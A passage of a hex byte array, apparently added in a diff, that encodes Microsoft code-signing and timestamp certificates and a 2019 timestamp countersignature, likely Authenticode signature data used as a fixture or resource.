0x04, 0x0C, 0x30, 0x0A, 0x06, + 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08, 0x30, 0x0D, 0x06, + 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, + 0x03, 0x82, 0x01, 0x01, 0x00, 0x44, 0x0A, 0xA4, 0xEE, 0x18, 0xA5, 0x8A, + 0xFF, 0xCC, 0xF0, 0x10, 0x67, 0x61, 0x0D, 0x40, 0xFE, 0x93, 0x9C, 0xA2, + 0xF5, 0xA0, 0x52, 0xA9, 0xC4, 0x2B, 0xB6, 0x9F, 0x0C, 0x0E, 0x6D, 0x41, + 0x78, 0xD6, 0x33, 0x14, 0xA6, 0xAE, 0xBF, 0x24, 0x5E, 0xC1, 0xFD, 0x62, + 0xA0, 0x5B, 0x14, 0xBF, 0xDC, 0x7B, 0x30, 0x27, 0x04, 0x5E, 0x34, 0x9E, + 0x7D, 0x99, 0x7C, 0x77, 0xE1, 0x3E, 0x93, 0x4D, 0x58, 0xA6, 0x56, 0x2E, + 0xB9, 0xCB, 0xA3, 0x63, 0x78, 0x50, 0x94, 0xF6, 0xD8, 0x0F, 0x71, 0x35, + 0xDF, 0x67, 0xAD, 0x25, 0x90, 0x9B, 0xCB, 0xB1, 0x53, 0x14, 0xDB, 0xFE, + 0x98, 0x9C, 0x61, 0x7B, 0x9F, 0xFB, 0xDD, 0xDE, 0x53, 0xA0, 0x8F, 0x2E, + 0x4A, 0xB3, 0xEF, 0xF4, 0x9B, 0xBA, 0x3D, 0x4C, 0x42, 0xAF, 0x75, 0x34, + 0x35, 0x70, 0x3A, 0xFD, 0x9B, 0x2C, 0x0B, 0x4D, 0xBB, 0x4B, 0x5A, 0x3E, + 0xFD, 0xE3, 0x95, 0xFA, 0xDC, 0x46, 0x27, 0x8E, 0x35, 0xFB, 0x3A, 0x6D, + 0x76, 0x79, 0x28, 0x72, 0x33, 0xDC, 0xB0, 0xFB, 0x7E, 0xE1, 0xA6, 0x7E, + 0xDE, 0xE9, 0xC2, 0x71, 0x77, 0x4B, 0xEB, 0x96, 0x5F, 0x75, 0x2D, 0x23, + 0x8F, 0x40, 0x76, 0xF8, 0xFB, 0xA1, 0xF8, 0x4D, 0x01, 0xFD, 0x40, 0xEB, + 0xA1, 0x8D, 0x20, 0xBF, 0x5F, 0x00, 0x0B, 0x2D, 0x18, 0xD9, 0x66, 0x93, + 0x83, 0x6C, 0x9F, 0x36, 0x81, 0x74, 0x8C, 0x75, 0x16, 0x60, 0x60, 0x0D, + 0xB3, 0x7D, 0xAE, 0x51, 0x6D, 0x9F, 0x90, 0x13, 0xE7, 0xC8, 0x55, 0x76, + 0x09, 0xAB, 0xBF, 0x4B, 0x9C, 0xB7, 0x2F, 0x8B, 0x59, 0x16, 0x86, 0x2B, + 0xB9, 0xE5, 0xC0, 0x91, 0x3E, 0x37, 0x3B, 0x59, 0xF6, 0x9E, 0x9E, 0x2A, + 0xB2, 0xBA, 0x50, 0x2F, 0x02, 0x84, 0x5F, 0xF3, 0x3E, 0xEB, 0x03, 0xD8, + 0xE9, 0x39, 0xF8, 0xA4, 0x7E, 0x30, 0xE4, 0x15, 0xF6, 0x30, 0x82, 0x06, + 0x71, 0x30, 0x82, 0x04, 0x59, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x0A, + 0x61, 0x09, 0x81, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x30, 0x0D, + 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, + 0x00, 0x30, 0x81, 0x88, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, + 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, + 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, + 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, + 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, + 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, + 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, + 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x32, 0x30, 0x30, 0x06, 0x03, 0x55, 0x04, + 0x03, 0x13, 0x29, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, + 0x20, 0x52, 0x6F, 0x6F, 0x74, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, + 0x69, 0x63, 0x61, 0x74, 0x65, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, 0x72, + 0x69, 0x74, 0x79, 0x20, 0x32, 0x30, 0x31, 0x30, 0x30, 0x1E, 0x17, 0x0D, + 0x31, 0x30, 0x30, 0x37, 0x30, 0x31, 0x32, 0x31, 0x33, 0x36, 0x35, 0x35, + 0x5A, 0x17, 0x0D, 0x32, 0x35, 0x30, 0x37, 0x30, 0x31, 0x32, 0x31, 0x34, + 0x36, 0x35, 0x35, 0x5A, 0x30, 0x7C, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, + 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, + 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, + 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, + 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, + 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, + 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, + 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x26, 0x30, 0x24, 0x06, 0x03, + 0x55, 0x04, 0x03, 0x13, 0x1D, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, + 0x66, 0x74, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x2D, 0x53, 0x74, 0x61, 0x6D, + 0x70, 0x20, 0x50, 0x43, 0x41, 0x20, 0x32, 0x30, 0x31, 0x30, 0x30, 0x82, + 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, + 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, + 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xA9, 0x1D, 0x0D, 0xBC, 0x77, + 0x11, 0x8A, 0x3A, 0x20, 0xEC, 0xFC, 0x13, 0x97, 0xF5, 0xFA, 0x7F, 0x69, + 0x94, 0x6B, 0x74, 0x54, 0x10, 0xD5, 0xA5, 0x0A, 0x00, 0x82, 0x85, 0xFB, + 0xED, 0x7C, 0x68, 0x4B, 0x2C, 0x5F, 0xC5, 0xC3, 0xE5, 0x61, 0xC2, 0x76, + 0xB7, 0x3E, 0x66, 0x2B, 0x5B, 0xF0, 0x15, 0x53, 0x27, 0x04, 0x31, 0x1F, + 0x41, 0x1B, 0x1A, 0x95, 0x1D, 0xCE, 0x09, 0x13, 0x8E, 0x7C, 0x61, 0x30, + 0x59, 0xB1, 0x30, 0x44, 0x0F, 0xF1, 0x60, 0x88, 0x84, 0x54, 0x43, 0x0C, + 0xD7, 0x4D, 0xB8, 0x38, 0x08, 0xB3, 0x42, 0xDD, 0x93, 0xAC, 0xD6, 0x73, + 0x30, 0x57, 0x26, 0x82, 0xA3, 0x45, 0x0D, 0xD0, 0xEA, 0xF5, 0x47, 0x81, + 0xCD, 0xBF, 0x24, 0x60, 0x32, 0x58, 0x60, 0x46, 0xF2, 0x58, 0x47, 0x86, + 0x32, 0x84, 0x1E, 0x74, 0x61, 0x67, 0x91, 0x5F, 0x81, 0x54, 0xB1, 0xCF, + 0x93, 0x4C, 0x92, 0xC1, 0xC4, 0xA6, 0x5D, 0xD1, 0x61, 0x13, 0x6E, 0x28, + 0xC6, 0x1A, 0xF9, 0x86, 0x80, 0xBB, 0xDF, 0x61, 0xFC, 0x46, 0xC1, 0x27, + 0x1D, 0x24, 0x67, 0x12, 0x72, 0x1A, 0x21, 0x8A, 0xAF, 0x4B, 0x64, 0x89, + 0x50, 0x62, 0xB1, 0x5D, 0xFD, 0x77, 0x1F, 0x3D, 0xF0, 0x57, 0x75, 0xAC, + 0xBD, 0x8A, 0x42, 0x4D, 0x40, 0x51, 0xD1, 0x0F, 0x9C, 0x06, 0x3E, 0x67, + 0x7F, 0xF5, 0x66, 0xC0, 0x03, 0x96, 0x44, 0x7E, 0xEF, 0xD0, 0x4B, 0xFD, + 0x6E, 0xE5, 0x9A, 0xCA, 0xB1, 0xA8, 0xF2, 0x7A, 0x2A, 0x0A, 0x31, 0xF0, + 0xDA, 0x4E, 0x06, 0x91, 0xB6, 0x88, 0x08, 0x35, 0xE8, 0x78, 0x1C, 0xB0, + 0xE9, 0x99, 0xCD, 0x3C, 0xE7, 0x2F, 0x44, 0xBA, 0xA7, 0xF4, 0xDC, 0x64, + 0xBD, 0xA4, 0x01, 0xC1, 0x20, 0x09, 0x93, 0x78, 0xCD, 0xFC, 0xBC, 0xC0, + 0xC9, 0x44, 0x5D, 0x5E, 0x16, 0x9C, 0x01, 0x05, 0x4F, 0x22, 0x4D, 0x02, + 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, 0x01, 0xE6, 0x30, 0x82, 0x01, 0xE2, + 0x30, 0x10, 0x06, 0x09, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x15, + 0x01, 0x04, 0x03, 0x02, 0x01, 0x00, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, + 0x0E, 0x04, 0x16, 0x04, 0x14, 0xD5, 0x63, 0x3A, 0x5C, 0x8A, 0x31, 0x90, + 0xF3, 0x43, 0x7B, 0x7C, 0x46, 0x1B, 0xC5, 0x33, 0x68, 0x5A, 0x85, 0x6D, + 0x55, 0x30, 0x19, 0x06, 0x09, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, + 0x14, 0x02, 0x04, 0x0C, 0x1E, 0x0A, 0x00, 0x53, 0x00, 0x75, 0x00, 0x62, + 0x00, 0x43, 0x00, 0x41, 0x30, 0x0B, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x04, + 0x04, 0x03, 0x02, 0x01, 0x86, 0x30, 0x0F, 0x06, 0x03, 0x55, 0x1D, 0x13, + 0x01, 0x01, 0xFF, 0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xFF, 0x30, 0x1F, + 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0xD5, + 0xF6, 0x56, 0xCB, 0x8F, 0xE8, 0xA2, 0x5C, 0x62, 0x68, 0xD1, 0x3D, 0x94, + 0x90, 0x5B, 0xD7, 0xCE, 0x9A, 0x18, 0xC4, 0x30, 0x56, 0x06, 0x03, 0x55, + 0x1D, 0x1F, 0x04, 0x4F, 0x30, 0x4D, 0x30, 0x4B, 0xA0, 0x49, 0xA0, 0x47, + 0x86, 0x45, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, + 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, + 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, 0x2F, 0x63, 0x72, 0x6C, 0x2F, 0x70, + 0x72, 0x6F, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2F, 0x4D, 0x69, 0x63, 0x52, + 0x6F, 0x6F, 0x43, 0x65, 0x72, 0x41, 0x75, 0x74, 0x5F, 0x32, 0x30, 0x31, + 0x30, 0x2D, 0x30, 0x36, 0x2D, 0x32, 0x33, 0x2E, 0x63, 0x72, 0x6C, 0x30, + 0x5A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, + 0x4E, 0x30, 0x4C, 0x30, 0x4A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, + 0x07, 0x30, 0x02, 0x86, 0x3E, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, + 0x77, 0x77, 0x77, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, + 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, 0x2F, 0x63, 0x65, + 0x72, 0x74, 0x73, 0x2F, 0x4D, 0x69, 0x63, 0x52, 0x6F, 0x6F, 0x43, 0x65, + 0x72, 0x41, 0x75, 0x74, 0x5F, 0x32, 0x30, 0x31, 0x30, 0x2D, 0x30, 0x36, + 0x2D, 0x32, 0x33, 0x2E, 0x63, 0x72, 0x74, 0x30, 0x81, 0xA0, 0x06, 0x03, + 0x55, 0x1D, 0x20, 0x01, 0x01, 0xFF, 0x04, 0x81, 0x95, 0x30, 0x81, 0x92, + 0x30, 0x81, 0x8F, 0x06, 0x09, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, + 0x2E, 0x03, 0x30, 0x81, 0x81, 0x30, 0x3D, 0x06, 0x08, 0x2B, 0x06, 0x01, + 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x31, 0x68, 0x74, 0x74, 0x70, 0x3A, + 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, + 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x50, 0x4B, 0x49, 0x2F, + 0x64, 0x6F, 0x63, 0x73, 0x2F, 0x43, 0x50, 0x53, 0x2F, 0x64, 0x65, 0x66, + 0x61, 0x75, 0x6C, 0x74, 0x2E, 0x68, 0x74, 0x6D, 0x30, 0x40, 0x06, 0x08, + 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x02, 0x30, 0x34, 0x1E, 0x32, + 0x20, 0x1D, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, + 0x00, 0x5F, 0x00, 0x50, 0x00, 0x6F, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x63, + 0x00, 0x79, 0x00, 0x5F, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, + 0x00, 0x65, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x2E, + 0x20, 0x1D, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, + 0x01, 0x01, 0x0B, 0x05, 0x00, 0x03, 0x82, 0x02, 0x01, 0x00, 0x07, 0xE6, + 0x88, 0x51, 0x0D, 0xE2, 0xC6, 0xE0, 0x98, 0x3F, 0x81, 0x71, 0x03, 0x3D, + 0x9D, 0xA3, 0xA1, 0x21, 0x6F, 0xB3, 0xEB, 0xA6, 0xCC, 0xF5, 0x31, 0xBE, + 0xCF, 0x05, 0xE2, 0xA9, 0xFE, 0xFA, 0x57, 0x6D, 0x19, 0x30, 0xB3, 0xC2, + 0xC5, 0x66, 0xC9, 0x6A, 0xDF, 0xF5, 0xE7, 0xF0, 0x78, 0xBD, 0xC7, 0xA8, + 0x9E, 0x25, 0xE3, 0xF9, 0xBC, 0xED, 0x6B, 0x54, 0x57, 0x08, 0x2B, 0x51, + 0x82, 0x44, 0x12, 0xFB, 0xB9, 0x53, 0x8C, 0xCC, 0xF4, 0x60, 0x12, 0x8A, + 0x76, 0xCC, 0x40, 0x40, 0x41, 0x9B, 0xDC, 0x5C, 0x17, 0xFF, 0x5C, 0xF9, + 0x5E, 0x17, 0x35, 0x98, 0x24, 0x56, 0x4B, 0x74, 0xEF, 0x42, 0x10, 0xC8, + 0xAF, 0xBF, 0x7F, 0xC6, 0x7F, 0xF2, 0x37, 0x7D, 0x5A, 0x3F, 0x1C, 0xF2, + 0x99, 0x79, 0x4A, 0x91, 0x52, 0x00, 0xAF, 0x38, 0x0F, 0x17, 0xF5, 0x2F, + 0x79, 0x81, 0x65, 0xD9, 0xA9, 0xB5, 0x6B, 0xE4, 0xC7, 0xCE, 0xF6, 0xCA, + 0x7A, 0x00, 0x6F, 0x4B, 0x30, 0x44, 0x24, 0x22, 0x3C, 0xCF, 0xED, 0x03, + 0xA5, 0x96, 0x8F, 0x59, 0x29, 0xBC, 0xB6, 0xFD, 0x04, 0xE1, 0x70, 0x9F, + 0x32, 0x4A, 0x27, 0xFD, 0x55, 0xAF, 0x2F, 0xFE, 0xB6, 0xE5, 0x8E, 0x33, + 0xBB, 0x62, 0x5F, 0x9A, 0xDB, 0x57, 0x40, 0xE9, 0xF1, 0xCE, 0x99, 0x66, + 0x90, 0x8C, 0xFF, 0x6A, 0x62, 0x7F, 0xDD, 0xC5, 0x4A, 0x0B, 0x91, 0x26, + 0xE2, 0x39, 0xEC, 0x19, 0x4A, 0x71, 0x63, 0x9D, 0x7B, 0x21, 0x6D, 0xC3, + 0x9C, 0xA3, 0xA2, 0x3C, 0xFA, 0x7F, 0x7D, 0x96, 0x6A, 0x90, 0x78, 0xA6, + 0x6D, 0xD2, 0xE1, 0x9C, 0xF9, 0x1D, 0xFC, 0x38, 0xD8, 0x94, 0xF4, 0xC6, + 0xA5, 0x0A, 0x96, 0x86, 0xA4, 0xBD, 0x9E, 0x1A, 0xAE, 0x04, 0x42, 0x83, + 0xB8, 0xB5, 0x80, 0x9B, 0x22, 0x38, 0x20, 0xB5, 0x25, 0xE5, 0x64, 0xEC, + 0xF7, 0xF4, 0xBF, 0x7E, 0x63, 0x59, 0x25, 0x0F, 0x7A, 0x2E, 0x39, 0x57, + 0x76, 0xA2, 0x71, 0xAA, 0x06, 0x8A, 0x0F, 0x89, 0x16, 0xBA, 0x61, 0xA7, + 0x11, 0xCB, 0x9A, 0xD8, 0x0E, 0x47, 0x9A, 0x80, 0xC5, 0xD0, 0xCD, 0xA7, + 0xD0, 0xEF, 0x7D, 0x83, 0xF0, 0xE1, 0x3B, 0x71, 0x09, 0xDF, 0x5D, 0x74, + 0x98, 0x22, 0x08, 0x61, 0xDA, 0xB0, 0x50, 0x1E, 0x6F, 0xBD, 0xF1, 0xE1, + 0x00, 0xDF, 0xE7, 0x31, 0x07, 0xA4, 0x93, 0x3A, 0xF7, 0x65, 0x47, 0x78, + 0xE8, 0xF8, 0xA8, 0x48, 0xAB, 0xF7, 0xDE, 0x72, 0x7E, 0x61, 0x6B, 0x6F, + 0x77, 0xA9, 0x81, 0xCB, 0xA7, 0x09, 0xAC, 0x39, 0xBB, 0xEC, 0xC6, 0xCB, + 0xD8, 0x82, 0xB4, 0x72, 0xCD, 0x1D, 0xF4, 0xB8, 0x85, 0x01, 0x1E, 0x80, + 0xFB, 0x1B, 0x89, 0x2A, 0x54, 0x39, 0xB2, 0x5B, 0xDA, 0xC8, 0x0D, 0x55, + 0x99, 0x7A, 0x87, 0x73, 0x3B, 0x08, 0xE6, 0x98, 0x2D, 0xEA, 0x8D, 0xE0, + 0x33, 0x2E, 0x12, 0x29, 0xF5, 0xC0, 0x2F, 0x54, 0x27, 0x21, 0xF7, 0xC8, + 0xAC, 0x4E, 0xDA, 0x28, 0xB8, 0xB1, 0xA9, 0xDB, 0x96, 0xB2, 0xA7, 0x42, + 0xA2, 0xC9, 0xCF, 0x19, 0x41, 0x4D, 0xE0, 0x86, 0xF9, 0x2A, 0x9A, 0xA3, + 0x11, 0x66, 0x30, 0xD3, 0xBB, 0x74, 0x32, 0x4B, 0xDF, 0x63, 0x7B, 0xF5, + 0x99, 0x8A, 0x2F, 0x1B, 0xC7, 0x21, 0xAF, 0x59, 0xB5, 0xAE, 0xDC, 0x44, + 0x3C, 0x97, 0x50, 0x71, 0xD7, 0xA1, 0xD2, 0xC5, 0x55, 0xE3, 0x69, 0xDE, + 0x57, 0xC1, 0xD1, 0xDE, 0x30, 0xC0, 0xFD, 0xCC, 0xE6, 0x4D, 0xFB, 0x0D, + 0xBF, 0x5D, 0x4F, 0xE9, 0x9D, 0x1E, 0x19, 0x38, 0x2F, 0xBC, 0xCF, 0x58, + 0x05, 0x2E, 0xEF, 0x0D, 0xA0, 0x50, 0x35, 0xDA, 0xEF, 0x09, 0x27, 0x1C, + 0xD5, 0xB3, 0x7E, 0x35, 0x1E, 0x08, 0xBA, 0xDA, 0x36, 0xDB, 0xD3, 0x5F, + 0x8F, 0xDE, 0x74, 0x88, 0x49, 0x12, 0xA1, 0x82, 0x03, 0xAD, 0x30, 0x82, + 0x02, 0x95, 0x02, 0x01, 0x01, 0x30, 0x81, 0xFE, 0xA1, 0x81, 0xD4, 0xA4, + 0x81, 0xD1, 0x30, 0x81, 0xCE, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, + 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, + 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, + 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, + 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, + 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, + 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, + 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x29, 0x30, 0x27, 0x06, 0x03, 0x55, + 0x04, 0x0B, 0x13, 0x20, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, + 0x74, 0x20, 0x4F, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, + 0x20, 0x50, 0x75, 0x65, 0x72, 0x74, 0x6F, 0x20, 0x52, 0x69, 0x63, 0x6F, + 0x31, 0x26, 0x30, 0x24, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x1D, 0x54, + 0x68, 0x61, 0x6C, 0x65, 0x73, 0x20, 0x54, 0x53, 0x53, 0x20, 0x45, 0x53, + 0x4E, 0x3A, 0x33, 0x31, 0x43, 0x35, 0x2D, 0x33, 0x30, 0x42, 0x41, 0x2D, + 0x37, 0x43, 0x39, 0x31, 0x31, 0x25, 0x30, 0x23, 0x06, 0x03, 0x55, 0x04, + 0x03, 0x13, 0x1C, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, + 0x20, 0x54, 0x69, 0x6D, 0x65, 0x2D, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x20, + 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0xA2, 0x25, 0x0A, 0x01, 0x01, + 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x03, + 0x15, 0x00, 0x02, 0xA3, 0xC8, 0x4F, 0x56, 0xF6, 0x90, 0xE8, 0xB5, 0x63, + 0x20, 0x76, 0xE7, 0x31, 0xE9, 0x6B, 0x73, 0xE7, 0x9C, 0x0C, 0xA0, 0x81, + 0xDE, 0x30, 0x81, 0xDB, 0xA4, 0x81, 0xD8, 0x30, 0x81, 0xD5, 0x31, 0x0B, + 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, + 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, + 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, + 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, + 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, + 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, + 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x29, + 0x30, 0x27, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x20, 0x4D, 0x69, 0x63, + 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x4F, 0x70, 0x65, 0x72, 0x61, + 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x20, 0x50, 0x75, 0x65, 0x72, 0x74, 0x6F, + 0x20, 0x52, 0x69, 0x63, 0x6F, 0x31, 0x27, 0x30, 0x25, 0x06, 0x03, 0x55, + 0x04, 0x0B, 0x13, 0x1E, 0x6E, 0x43, 0x69, 0x70, 0x68, 0x65, 0x72, 0x20, + 0x4E, 0x54, 0x53, 0x20, 0x45, 0x53, 0x4E, 0x3A, 0x34, 0x44, 0x45, 0x39, + 0x2D, 0x30, 0x43, 0x35, 0x45, 0x2D, 0x33, 0x45, 0x30, 0x39, 0x31, 0x2B, + 0x30, 0x29, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x22, 0x4D, 0x69, 0x63, + 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, + 0x53, 0x6F, 0x75, 0x72, 0x63, 0x65, 0x20, 0x4D, 0x61, 0x73, 0x74, 0x65, + 0x72, 0x20, 0x43, 0x6C, 0x6F, 0x63, 0x6B, 0x30, 0x0D, 0x06, 0x09, 0x2A, + 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x02, 0x05, + 0x00, 0xE1, 0x60, 0xED, 0x42, 0x30, 0x22, 0x18, 0x0F, 0x32, 0x30, 0x31, + 0x39, 0x31, 0x30, 0x32, 0x38, 0x31, 0x32, 0x32, 0x39, 0x35, 0x34, 0x5A, + 0x18, 0x0F, 0x32, 0x30, 0x31, 0x39, 0x31, 0x30, 0x32, 0x39, 0x31, 0x32, + 0x32, 0x39, 0x35, 0x34, 0x5A, 0x30, 0x74, 0x30, 0x3A, 0x06, 0x0A, 0x2B, + 0x06, 0x01, 0x04, 0x01, 0x84, 0x59, 0x0A, 0x04, 0x01, 0x31, 0x2C, 0x30, + 0x2A, 0x30, 0x0A, 0x02, 0x05, 0x00, 0xE1, 0x60, 0xED, 0x42, 0x02, 0x01, + 0x00, 0x30, 0x07, 0x02, 0x01, 0x00, 0x02, 0x02, 0x18, 0x32, 0x30, 0x07, + 0x02, 0x01, 0x00, 0x02, 0x02, 0x1A, 0xC9, 0x30, 0x0A, 0x02, 0x05, 0x00, + 0xE1, 0x62, 0x3E, 0xC2, 0x02, 0x01, 0x00, 0x30, 0x36, 0x06, 0x0A, 0x2B, + 0x06, 0x01, 0x04, 0x01, 0x84, 0x59, 0x0A, 0x04, 0x02, 0x31, 0x28, 0x30, + 0x26, 0x30, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x84, 0x59, + 0x0A, 0x03, 0x01, 0xA0, 0x0A, 0x30, 0x08, 0x02, 0x01, 0x00, 0x02, 0x03, + 0x16, 0xE3, 0x60, 0xA1, 0x0A, 0x30, 0x08, 0x02, 0x01, 0x00, 0x02, 0x03, + 0x07, 0xA1, 0x20, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, + 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0xA8, + 0x12, 0x04, 0xEF, 0x51, 0x49, 0xBA, 0x03, 0xEA, 0x99, 0x2D, 0xAB, 0x80, + 0xC9, 0xB7, 0x04, 0xDF, 0x3A, 0xEE, 0xB3, 0xDB, 0x17, 0x4B, 0xBC, 0x85, + 0x4B, 0x45, 0x53, 0xAB, 0x7E, 0x56, 0x6E, 0x62, 0xD8, 0xD9, 0xD4, 0x35, + 0x2D, 0x17, 0x25, 0x58, 0x1D, 0xE8, 0xE6, 0xB0, 0xC8, 0xF8, 0xC5, 0xEA, + 0x91, 0xC1, 0x0D, 0x70, 0xAF, 0xE5, 0x87, 0xEE, 0x9A, 0x40, 0x48, 0xFC, + 0x55, 0x3F, 0x74, 0x8E, 0x91, 0xBE, 0x4B, 0x46, 0x97, 0xD1, 0x7B, 0xE4, + 0x98, 0xE3, 0xBD, 0x79, 0x13, 0x4F, 0x74, 0xE0, 0x08, 0x37, 0xC2, 0x31, + 0x29, 0x2E, 0x20, 0x92, 0x58, 0x3E, 0x82, 0xFC, 0x60, 0x17, 0xC1, 0x39, + 0xEB, 0xBE, 0x6E, 0xFE, 0xF2, 0x42, 0x14, 0xFB, 0x07, 0x3C, 